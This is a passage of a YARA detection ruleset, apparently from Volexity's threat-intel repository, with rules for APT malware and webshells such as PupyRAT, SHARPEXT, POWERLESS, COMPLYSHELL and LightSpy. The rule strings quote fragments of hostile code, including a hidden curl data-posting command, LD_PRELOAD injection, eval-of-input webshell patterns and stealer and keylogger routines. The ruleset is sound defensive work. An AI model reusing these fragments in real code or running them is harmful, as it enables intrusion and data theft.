		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L114-L139"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "e55199e6ad26894f98e930cd4716127ee868872d08ada1c44675e4db1ec27894"
		score = 75
		quality = 80
		tags = "LAZYPINE, FILE"
		hash1 = "17e6189c19dedea678969e042c64de2a51dd9fba69ff521571d63fd92e48601b"
		os = "win"
		os_arch = "all"
		scan_context = "file"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 8493
		version = 3
	strings:
		$a1 = ", vbDirectory) = \"\" Then" ascii
		$a2 = ".Caption & " ascii
		$a3 = ".nodeTypedValue" ascii
		$a4 = ".Application.Visible = False" ascii
		$a5 = " MkDir (" ascii
	condition:
		all of ( $a* )
}

rule VOLEXITY_Apt_Delivery_Office_Macro_Lazypine_Jeus : LAZYPINE FILE
{
	meta:
		description = "Detects malicious documents used by LazyPine in a campaign dropping the AppleJeus malware."
		author = "threatintel@volexity.com"
		id = "f9a92f47-aa1d-56ea-ac59-47cc559f379f"
		date = "2022-11-02"
		modified = "2025-05-21"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L141-L165"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "54d5396b889a45d81122301eadf77f73135937fbe9647ad60491ac7856faf5ad"
		score = 75
		quality = 80
		tags = "LAZYPINE, FILE"
		hash1 = "17e6189c19dedea678969e042c64de2a51dd9fba69ff521571d63fd92e48601b"
		os = "all"
		os_arch = "all"
		scan_context = "file"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 8490
		version = 7
	strings:
		$s1 = "0M8R4K" ascii
		$s2 = "bin.base64" ascii
		$s3 = "dragon" ascii
		$s4 = "Workbook_Open" ascii
	condition:
		all of ( $s* )
}

rule VOLEXITY_Malware_Golang_Pantegana : FILE MEMORY
{
	meta:
		description = "Detects PANTEGANA, a Golang backdoor used by a range of threat actors due to its public availability."
		author = "threatintel@volexity.com"
		id = "b6154165-68e0-5986-a0cf-5631d369c230"
		date = "2022-03-30"
		modified = "2025-03-21"
		reference = "https://github.com/elleven11/pantegana"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L90-L120"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "791a664a6b4b98051cbfacb451099de085cbab74d73771709377ab68a5a23d2b"
		score = 75
		quality = 80
		tags = "FILE, MEMORY"
		hash1 = "8297c99391aae918f154077c61ea94a99c7a339166e7981d9912b7fdc2e0d4f0"
		os = "all"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "high"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 6631
		version = 3
	strings:
		$s1 = "RunFingerprinter" ascii
		$s2 = "SendSysInfo" ascii
		$s3 = "ExecAndGetOutput" ascii
		$s4 = "RequestCommand" ascii
		$s5 = "bindataRead" ascii
		$s6 = "RunClient" ascii
		$magic = "github.com/elleven11/pantegana" ascii
	condition:
		5 of ( $s* ) or $magic
}

rule VOLEXITY_Malware_Any_Pupyrat_B : FILE MEMORY
{
	meta:
		description = "Detects the PUPYRAT malware family, a cross-platform RAT written in Python."
		author = "threatintel@volexity.com"
		id = "ec8d0448-f47d-5c6e-bcf9-8f40ae83a96f"
		date = "2022-04-07"
		modified = "2025-03-21"
		reference = "https://github.com/n1nj4sec/pupy"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L121-L158"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "f5b5f35ee783ff1163072591c6d48a85894729156935650a0fd166ae22a2ea00"
		score = 75
		quality = 80
		tags = "FILE, MEMORY"
		hash1 = "7474a6008b99e45686678f216af7d6357bb70a054c6d9b05e1817c8d80d536b4"
		os = "all"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 6689
		version = 4
	strings:
		$elf1 = "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=%d exec %s 1>/dev/null 2>/dev/null" ascii
		$elf2 = "reflective_inject_dll" fullword ascii
		$elf3 = "ld_preload_inject_dll" fullword ascii
		$pupy1 = "_pupy.error" ascii
		$pupy2 = "pupy://" ascii
		$s1 = "Args not passed" ascii
		$s2 = "Too many args" ascii
		$s3 = "Can't execute" ascii
		$s4 = "mexec:stdin" ascii
		$s5 = "mexec:stdout" ascii
		$s6 = "mexec:stderr" ascii
		$s7 = "LZMA error" ascii
	condition:
		any of ( $elf* ) or all of ( $pupy* ) or all of ( $s* )
}

rule VOLEXITY_Susp_Php_Fileinput_Eval : FILE
{
	meta:
		description = "Rule designed to detect PHP files which use file_get_contents() and then shortly afterwards use an eval statement."
		author = "threatintel@volexity.com"
		id = "3e311677-22ea-5e5f-bdc6-dd67033d25a6"
		date = "2021-06-16"
		modified = "2024-12-12"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L159-L182"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "de376bfdfa5b6244c414454cb5d43d29e3dd75e049389f0c430c160f9d198965"
		score = 65
		quality = 80
		tags = "FILE"
		hash1 = "1a34c43611ee310c16acc383c10a7b8b41578c19ee85716b14ac5adbf0a13bd5"
		hash2 = "6e8874c756c009c63f715a44ca72d0cb31dc25d87d7df6ca2830fe8330580342"
		os = "win,linux"
		os_arch = "all"
		scan_context = "file"
		severity = "high"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 5581
		version = 5
	strings:
		$s1 = "file_get_contents(\"php://input\")"
		$s2 = "eval("
	condition:
		$s2 in ( @s1 [ 1 ] .. ( @s1 [ 1 ] + 512 ) )
}

rule VOLEXITY_Susp_Php_Call_User_Func : FILE
{
	meta:
		description = "Webshells using call_user_func() function against an object from a file input or POST variable."
		author = "threatintel@volexity.com"
		id = "48c7857e-7dda-5e3f-b82c-7d34c251f083"
		date = "2021-06-16"
		modified = "2024-07-30"
		reference = "https://zhuanlan.zhihu.com/p/354906657"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L183-L205"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "46c999da97682023861e58f9cd2c8651480db990a0361c1985c6d5c35b5bf0ea"
		score = 65
		quality = 80
		tags = "FILE"
		hash1 = "40b053a2f3c8f47d252b960a9807b030b463ef793228b1670eda89f07b55b252"
		os = "win,linux"
		os_arch = "all"
		scan_context = "file"
		severity = "high"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 5582
		version = 4
	strings:
		$s1 = "@call_user_func(new C()" wide ascii
	condition:
		$s1
}

rule VOLEXITY_Apt_Malware_Js_Sharpext : SHARPPINE FILE MEMORY
{
	meta:
		description = "A malicious Chrome browser extension used by the SharpPine threat actor to steal Gmail data from a victim."
		author = "threatintel@volexity.com"
		id = "61b5176a-ff73-5fce-bc70-c9e09bb5afed"
		date = "2021-09-14"
		modified = "2025-05-21"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-07-28 SharpTongue SharpTongue Deploys Clever Mail-Stealing Browser Extension SHARPEXT/yara.yar#L1-L52"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "0ed58c8646582ee36aeac650fac02d1e4962d45c0f6a24783c021d9267bed192"
		score = 75
		quality = 80
		tags = "SHARPPINE, FILE, MEMORY"
		hash1 = "1c9664513fe226beb53268b58b11dacc35b80a12c50c22b76382304badf4eb00"
		hash2 = "6025c66c2eaae30c0349731beb8a95f8a5ba1180c5481e9a49d474f4e1bb76a4"
		hash3 = "6594b75939bcdab4253172f0fa9066c8aee2fa4911bd5a03421aeb7edcd9c90c"
		os = "all"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 5916
		version = 5
	strings:
		$s1 = "\"mode=attach&name=\"" ascii
		$s2 = "\"mode=new&mid=\"" ascii
		$s3 = "\"mode=attlist\"" ascii
		$s4 = "\"mode=list\"" ascii
		$s5 = "\"mode=domain\"" ascii
		$s6 = "\"mode=black\"" ascii
		$s7 = "\"mode=newD&d=\"" ascii
		$mark1 = "chrome.runtime.onMessage.addListener" ascii
		$mark2 = "chrome.webNavigation.onCompleted.addListener" ascii
		$enc1 = "function BSue(string){" ascii
		$enc2 = "function BSE(input){" ascii
		$enc3 = "function bin2hex(byteArray)" ascii
		$xhr1 = ".send(\"mode=cd1" ascii
		$xhr2 = ".send(\"mode=black" ascii
		$xhr3 = ".send(\"mode=domain" ascii
		$xhr4 = ".send(\"mode=list" ascii
		$manifest1 = "\"description\":\"advanced font\"," ascii
		$manifest2 = "\"scripts\":[\"bg.js\"]" ascii
		$manifest3 = "\"devtools_page\":\"dev.html\"" ascii
	condition:
		(5 of ( $s* ) and all of ( $mark* ) ) or all of ( $enc* ) or 3 of ( $xhr* ) or 2 of ( $manifest* )
}

rule VOLEXITY_Apt_Webshell_Pl_Complyshell : UTA0178 FILE MEMORY
{
	meta:
		description = "Detection for the COMPLYSHELL webshell."
		author = "threatintel@volexity.com"
		id = "6b44b5bc-a75f-573c-b9c3-562b7874e408"
		date = "2023-12-13"
		modified = "2024-01-12"
		reference = "TIB-20231215"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-01-10 Ivanti Connect Secure/indicators/yara.yar#L3-L25"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "ff46691f1add20cff30fe996e2fb199ce42408e86d5642a8a43c430f2245b1f5"
		score = 75
		quality = 80
		tags = "UTA0178, FILE, MEMORY"
		hash1 = "8bc8f4da98ee05c9d403d2cb76097818de0b524d90bea8ed846615e42cb031d2"
		os = "linux"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 9995
		version = 4
	strings:
		$s = "eval{my $c=Crypt::RC4->new("
	condition:
		$s
}

rule VOLEXITY_Hacktool_Py_Pysoxy : FILE MEMORY
{
	meta:
		description = "SOCKS5 proxy tool used to relay connections."
		author = "threatintel@volexity.com"
		id = "88094b55-784d-5245-9c40-b1eebf0e6e72"
		date = "2024-01-09"
		modified = "2024-01-09"
		reference = "TIB-20240109"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-01-10 Ivanti Connect Secure/indicators/yara.yar#L87-L114"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "f73e9d3c2f64c013218469209f3b69fc868efafc151a7de979dde089bfdb24b2"
		score = 75
		quality = 80
		tags = "FILE, MEMORY"
		hash1 = "e192932d834292478c9b1032543c53edfc2b252fdf7e27e4c438f4b249544eeb"
		os = "all"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 10065
		version = 3
	strings:
		$s1 = "proxy_loop" ascii
		$s2 = "connect_to_dst" ascii
		$s3 = "request_client" ascii
		$s4 = "subnegotiation_client" ascii
		$s5 = "bind_port" ascii
	condition:
		all of them
}

rule VOLEXITY_Apt_Malware_Vbs_Basicstar_A : CHARMINGCYPRESS FILE MEMORY
{
	meta:
		description = "VBS backdoor which bares architectural similarity to the POWERSTAR malware family."
		author = "threatintel@volexity.com"
		id = "e790defe-2bd5-5629-8420-ce8091483589"
		date = "2024-01-04"
		modified = "2025-05-21"
		reference = "TIB-20240111"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-02-13 CharmingCypress/rules.yar#L69-L99"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "977bb42553bb6585c8d0e1e89675644720ca9abf294eccd797e20d4bca516810"
		score = 75
		quality = 80
		tags = "CHARMINGCYPRESS, FILE, MEMORY"
		hash1 = "c6f91e5585c2cbbb8d06b7f239e30b271f04393df4fb81815f6556fa4c793bb0"
		os = "win"
		os_arch = "all"
		report2 = "TIB-20240126"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 10037
		version = 8
	strings:
		$s1 = "Base64Encode(EncSess)" ascii wide
		$s2 = "StrReverse(PlainSess)" ascii wide
		$s3 = "ComDecode, \"Module\"" ascii wide
		$s4 = "ComDecode, \"SetNewConfig\"" ascii wide
		$s5 = "ComDecode, \"kill\"" ascii wide
		$magic = "cmd /C start /MIN curl --ssl-no-revoke -s -d " ascii wide
	condition:
		3 of ( $s* ) or $magic
}

rule VOLEXITY_Apt_Malware_Ps1_Powerless_B : CHARMINGCYPRESS FILE MEMORY
{
	meta:
		description = "Detects POWERLESS malware."
		author = "threatintel@volexity.com"
		id = "e62703b5-32fb-5ceb-9f21-f52a4871f3d9"
		date = "2023-10-25"
		modified = "2024-01-29"
		reference = "TIB-20231027"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-02-13 CharmingCypress/rules.yar#L100-L157"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "eb9d199c1f7c2a42d711c1a44ab13526787169c18a77ce988568525baca043ef"
		score = 75
		quality = 78
		tags = "CHARMINGCYPRESS, FILE, MEMORY"
		hash1 = "62de7abb39cf4c47ff120c7d765749696a03f4fa4e3e84c08712bb0484306ae1"
		os = "win"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 9794
		version = 5
	strings:
		$fun_1 = "function verifyClickStorke"
		$fun_2 = "function ConvertTo-SHA256"
		$fun_3 = "function Convert-Tobase" fullword
		$fun_4 = "function Convert-Frombase" fullword
		$fun_5 = "function Send-Httppacket"
		$fun_6 = "function Generat-FetchCommand"
		$fun_7 = "function Create-Fetchkey"
		$fun_8 = "function Run-Uploader"
		$fun_9 = "function Run-Shot" fullword
		$fun_10 = "function ShotThis("
		$fun_11 = "function File-Manager"
		$fun_12 = "function zip-files"
		$fun_13 = "function Run-Stealer"
		$fun_14 = "function Run-Downloader"
		$fun_15 = "function Run-Stro" fullword
		$fun_16 = "function Run-Tele" fullword
		$fun_17 = "function Run-Voice"
		$s_1 = "if($commandtype -eq \"klg\")"
		$s_2 = "$desrilizedrecievedcommand"
		$s_3 = "$getAsyncKeyProto = @"
		$s_4 = "$Global:BotId ="
		$s_5 = "$targetCLSID = (Get-ScheduledTask | Where-Object TaskName -eq"
		$s_6 = "$burl = \"$Global:HostAddress/"
		$s_7 = "$hashString = [System.BitConverter]::ToString($hash).Replace('-','').ToLower()"
		$s_8 = "$Global:UID = ((gwmi win32_computersystemproduct).uuid -replace '[^0-9a-z]').substring("
		$s_9 = "$rawpacket = \"{`\"MId`\":`\"$Global:MachineID`\",`\"BotId`\":`\"$basebotid`\"}\""
		$s_12 = "Runned Without any Error"
		$s_13 = "$commandresponse = (Invoke-Expression $instruction -ErrorAction Stop) | Out-String"
		$s_14 = "Operation started successfuly"
		$s_15 = "$t_path = (Get-WmiObject Win32_Process -Filter \"name = '$process'\" | Select-Object CommandLine).CommandLine"
		$s_16 = "?{ $_.DisplayName -match \"Telegram Desktop\" } | %{$app_path += $_.InstallLocation }"
		$s_17 = "$chlids = get-ChildItem $t -Recurse -Exclude \"$t\\tdata\\user_data\""
		$s_18 = "if($FirsttimeFlag -eq $True)"
		$s_19 = "Update-Conf -interval $inter -url $url -next_url $next -conf_path $conf_path -key $config_key"
	condition:
		3 of ( $fun_* ) or any of ( $s_* )
}

rule VOLEXITY_Apt_Malware_Macos_Vpnclient_Cc_Oct23 : CHARMINGCYPRESS FILE MEMORY
{
	meta:
		description = "Detection for fake macOS VPN client used by CharmingCypress."
		author = "threatintel@volexity.com"
		id = "e0957936-dc6e-5de6-bb23-d0ef61655029"
		date = "2023-10-17"
		modified = "2023-10-27"
		reference = "TIB-20231027"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-02-13 CharmingCypress/rules.yar#L246-L272"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "da5e9be752648b072a9aaeed884b8e1729a14841e33ed6633a0aaae1f11bd139"
		score = 75
		quality = 80
		tags = "CHARMINGCYPRESS, FILE, MEMORY"
		hash1 = "11f0e38d9cf6e78f32fb2d3376badd47189b5c4456937cf382b8a574dc0d262d"
		os = "darwin,linux"
		os_arch = "all"
		parent_hash = "31ca565dcbf77fec474b6dea07101f4dd6e70c1f58398eff65e2decab53a6f33"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 9770
		version = 3
	strings:
		$s1 = "networksetup -setsocksfirewallproxystate wi-fi off" ascii
		$s2 = "networksetup -setsocksfirewallproxy wi-fi ___serverAdd___ ___portNum___; networksetup -setsocksfirewallproxystate wi-fi on" ascii
		$s3 = "New file imported successfully." ascii
		$s4 = "Error in importing the File." ascii
	condition:
		2 of ( $s* )
}

rule VOLEXITY_Apt_Malware_Charmingcypress_Openvpn_Configuration : CHARMINGCYPRESS FILE
{
	meta:
		description = "Detection for a .ovpn file used in a malicious VPN client on victim machines by CharmingCypress."
		author = "threatintel@volexity.com"
		id = "f39b2d7c-f0c5-5623-a114-02ba32469e59"
		date = "2023-10-17"
		modified = "2023-10-27"
		reference = "TIB-20231027"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-02-13 CharmingCypress/rules.yar#L273-L298"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "f4c5f13ac75504b14def9c37d3a41c6eea4c45845d4b54c50030b1f00691e4bf"
		score = 75
		quality = 80
		tags = "CHARMINGCYPRESS, FILE"
		hash1 = "d6d043973d8843a82033368c785c362f51395b1a1d475fa4705aff3526e15268"
		parent_hash = "31ca565dcbf77fec474b6dea07101f4dd6e70c1f58398eff65e2decab53a6f33"
		os = "all"
		os_arch = "all"
		scan_context = "file"
		severity = "high"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 9769
		version = 3
	strings:
		$remote = "remote-cert-tls server" ascii
		$ip = "Ip: "
		$tls = "<tls_auth>"
	condition:
		all of them
}

rule VOLEXITY_Apt_Delivery_Win_Charming_Openvpn_Client : CHARMINGCYPRESS FILE
{
	meta:
		description = "Detects a fake OpenVPN client developed by CharmingCypress."
		author = "threatintel@volexity.com"
		id = "b69fdd72-4a55-5e83-b754-401fe9339007"
		date = "2023-10-17"
		modified = "2023-10-27"
		reference = "TIB-20231027"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-02-13 CharmingCypress/rules.yar#L299-L323"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "02596a62cb1ba17ecabef0ae93f434e4774b00422a6da2106a2bc4c59d2f8077"
		score = 75
		quality = 80
		tags = "CHARMINGCYPRESS, FILE"
		hash1 = "2d99755d5cd25f857d6d3aa15631b69f570d20f95c6743574f3d3e3e8765f33c"
		os = "win"
		os_arch = "all"
		scan_context = "file"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 9768
		version = 2
	strings:
		$s1 = "DONE!"
		$s2 = "AppCore.dll"
		$s3 = "ultralight@@"
	condition:
		all of ( $s* )
}

rule VOLEXITY_Apt_Malware_Ps1_Powerstar_Generic : CHARMINGCYPRESS FILE MEMORY
{
	meta:
		description = "Detects POWERSTAR modules based on common HTTP functions used across modules."
		author = "threatintel@volexity.com"
		id = "71a3e99d-e1c8-5ac1-abbc-2ba5cba80799"
		date = "2023-06-02"
		modified = "2024-01-26"
		reference = "TIB-20240126"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-02-13 CharmingCypress/rules.yar#L324-L352"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "4da02190ffd16304eccbc0d12dfcc5637a6b785af0e3dc3dfcafcfe114597eb2"
		score = 75
		quality = 80
		tags = "CHARMINGCYPRESS, FILE, MEMORY"
		os = "win"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 9356
		version = 3
	strings:
		$http1 = "Send_Upload" ascii wide
		$http2 = "Send_Post_Data" ascii wide
		$json1 = "{\"OS\":\"" ascii wide
		$json2 = "{\"ComputerName\":\"' + $env:COMPUTERNAME + '\"}" ascii wide
		$json3 = "{\"Token\"" ascii wide
		$json4 = "{\"num\":\"" ascii wide
	condition:
		all of ( $http* ) or all of ( $json* )
}

rule VOLEXITY_Apt_Malware_Win_Deepdata_Module : BRAZENBAMBOO FILE MEMORY
{
	meta:
		description = "Detects modules used by DEEPDATA based on the required export names used by those modules."
		author = "threatintel@volexity.com"
		id = "1287f5dd-9229-57ce-a91a-73d61041df80"
		date = "2024-07-30"
		modified = "2024-11-14"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-11-15 BrazenBamboo/rules.yar#L1-L25"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "d36f34343826daf7f7368118c7127c7181a54c99a01803016c9a6965abb309cb"
		score = 75
		quality = 80
		tags = "BRAZENBAMBOO, FILE, MEMORY"
		hash1 = "c782346bf9e5c08a0c43a85d4991f26b0b3c99c054fa83beb4a9e406906f011e"
		os = "win"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 10868
		version = 2
	strings:
		$str1 = "ExecuteCommand"
		$str2 = "GetPluginCommandID"
		$str3 = "GetPluginName"
		$str4 = "GetPluginVersion"
	condition:
		all of them
}

rule VOLEXITY_Apt_Malware_Win_Lightspy_Orchestrator_Decoded_Core : BRAZENBAMBOO FILE MEMORY
{
	meta:
		description = "Detects the decoded orchestrator for the Windows variant of the LightSpy malware family. This file is normally stored in an encoded state on the C2 server and is used as the core component of this malware family, loading additional plugins from the C2 whilst managing all the C2 communication etc."
		author = "threatintel@volexity.com"
		id = "44f8d7a4-7f48-5960-91a7-baf475f7d291"
		date = "2024-02-15"
		modified = "2024-07-03"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-11-15 BrazenBamboo/rules.yar#L244-L287"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "f0189c0a84c53e365130e9683f2f2b2f73c14412d8e4d0251a4780d0e80162d8"
		score = 75
		quality = 78
		tags = "BRAZENBAMBOO, FILE, MEMORY"
		hash1 = "80c0cdb1db961c76de7e4efb6aced8a52cd0e34178660ef34c128be5f0d587df"
		os = "win"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 10246
		version = 2
	strings:
		$s1 = "Enter RunWork......."
		$s2 = "it's running......."
		$s3 = "select ret = socket_error."
		$s4 = "%s\\\\account.bin"
		$s5 = "[CtrlLink]: get machine sn err:%d"
		$s6 = "wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /format:list | findstr /v \\\"^$\\\""
		$s7 = "wmic csproduct get vendor,version /format:list | findstr /v \\\"^$\\\""
		$s8 = "local ip get sockname error=%d"
		$s9 = "connect goole dns error=%d"
		$s10 = "%s/api/terminal/upsert/"
		$s11 = "/963852741/windows/plugin/manifest"
		$s12 = "Hello deepdata."
		$s13 = "Start Light."
		$s14 = "InitialPluginManager Error."
		$s15 = "InitialCommandExe Error."
		$s16 = "ws open, and send logon info."
		$s17 = "plugin_replay_handler"
		$s18 = "light_x86.dll"
		$pdb1 = "\\light\\bin\\light_x86.pdb"
		$pdb2 = "\\light\\bin\\plugin"
		$pdb3 = "D:\\tmpWork\\"
	condition:
		1 of ( $pdb* ) or 5 of ( $s* )
}

rule VOLEXITY_Apt_Malware_Win_Lightspy_Orchestrator_Decoded_C2_Strings : BRAZENBAMBOO FILE MEMORY
{
	meta:
		description = "Detects the decoded orchestrator for the Windows variant of the LightSpy malware family. This file is normally stored in an encoded state on the C2 server and is used as the core component of this malware family, loading additional plugins from the C2 whilst managing all the C2 communication etc."
		author = "threatintel@volexity.com"
		id = "a0af8fb7-13a3-54e8-8569-e8622fa80d89"
		date = "2024-02-15"
		modified = "2024-11-14"
		reference = "https://github.com/volexity/threat-intel"
		source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-11-15 BrazenBamboo/rules.yar#L288-L337"
		license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt"
		logic_hash = "eeaaf6e16d4854a2279bd62596f75cb8b8ec1b05f3b050f5dac97254704b9005"
		score = 75
		quality = 78
		tags = "BRAZENBAMBOO, FILE, MEMORY"
		hash1 = "80c0cdb1db961c76de7e4efb6aced8a52cd0e34178660ef34c128be5f0d587df"
		os = "win"
		os_arch = "all"
		scan_context = "file,memory"
		severity = "critical"
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		rule_id = 10245
		version = 4
	strings:
		$s1 = "[WsClient][Error]:"
		$s2 = "[WsClient][Info]:"
		$s3 = "[WsClient]:WsClient"
		$s4 = "[WsClient][Info]:Ws"
		$s5 = "WsClient Worker Thread ID=%d"
		$s6 = "[LightWebClient]:"
		$s7 = "LightHttpGet err:%s"
		$s8 = "User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.145 Safari/537.36"
		$s9 = "KvList Err:%s"
		$s10 = "dataMultiPart malloc err:%d"
		$ctrl1 = "CTRL_HEART_BEAT"
		$ctrl2 = "CTRL_NET_CONFIG"
		$ctrl3 = "CTRL_COMMAND_PLAN"
		$ctrl4 = "CTRL_MODIFY_NET_CONFIG"
		$ctrl5 = "CTRL_UPLOAD_PLUGIN_STATUS"
		$ctrl6 = "CTRL_PLUGIN_EXECUTE_COMMAND"
		$ctrl7 = "CTRL_PLUGIN_COMMAND_STATUS"
		$ctrl8 = "CTRL_PLUGIN_STOP_COMMAND"
		$ctrl9 = "CTRL_GET_SLEEP_CONFIG"
		$ctrl10 = "CTRL_MODIFY_SLEEP_CONFIG"
		$ctrl11 = "CTRL_SLEEP_STATUS"
		$ctrl12 = "CTRL_UPDATE_PLUGIN"
		$ctrl13 = "CTRL_DESTROY"
		$ctrl14 = "CTRL_RECONFIG_REBOUNT_ADDRESS"
		$ctrl15 = "CTRL_AUTO_UPLOUD_FILE_CONFIG"
		$ctrl16 = "CTRL_UPLOUD_DEVICE_INFO"
